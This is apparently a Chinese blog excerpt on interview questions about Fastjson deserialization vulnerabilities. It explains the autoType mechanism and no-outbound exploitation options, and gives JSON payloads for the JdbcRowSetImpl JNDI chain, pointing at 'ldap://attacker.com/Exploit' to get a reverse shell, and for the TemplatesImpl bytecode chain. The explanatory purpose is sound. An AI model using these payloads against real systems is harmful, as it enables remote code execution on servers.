fastjson面试中,最常被问到的问题有哪些?

摘要:Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面 主要漏洞就是反序列化 反序列化 fastjson反序列化与weblogic、s
Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面 主要漏洞就是反序列化 反序列化 fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。 当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹 面试最爱问不出网怎么办 ​TemplatesImpl​不出网 RCEJDK 自带TemplatesImpl​ ​BCEL ClassLoader​ JDK ≤ 8u251 目标包含 BCEL 类 文件写入(Webshell) 有文件写入权限 需二次请求 Groovy/ScriptEngine 目标安装 Groovy/JS 引擎 需特定环境 内存马注入 Java Web 环境 需熟悉 Servlet API 1. 漏洞原理 Fastjson 在解析 JSON 数据时,如果字段中包含 @type​,会尝试将其转换为指定的 Java 类。例如: { "@type": "com.example.User", "name": "test", "age": 20 } Fastjson 会尝试实例化 com.example.User​ 并填充字段。 漏洞触发条件 目标使用 JSON.parseObject()​ 或 JSON.parse()​ 解析不可信数据。 ​AutoType​ 开启(默认开启,1.2.25 后需手动启用)。 存在可利用的恶意类(如 JdbcRowSetImpl​、TemplatesImpl​)。 2. 核心漏洞利用链 (1) JNDI 注入(依赖出网) 利用类:com.sun.rowset.JdbcRowSetImpl​原理:该类的 setDataSourceName()​ 方法可触发 JNDI 查询,结合 LDAP/RMI 实现 RCE。Payload: { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true } 利用步骤: 攻击者搭建恶意 LDAP/RMI 服务器(如使用 marshalsec​)。 目标解析恶意 JSON 时,向攻击者服务器请求恶意类并执行。 (2) TemplatesImpl(不出网利用) 利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl​原理:通过字节码加载直接执行任意 Java 代码(需目标环境有该类)。Payload: { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["恶意字节码Base64"], "_name": "test", "_tfactory": {} } 特点: 不依赖外部网络(无 JNDI 请求)。 需构造合法的字节码(如通过 javac​ 编译恶意类)。
阅读全文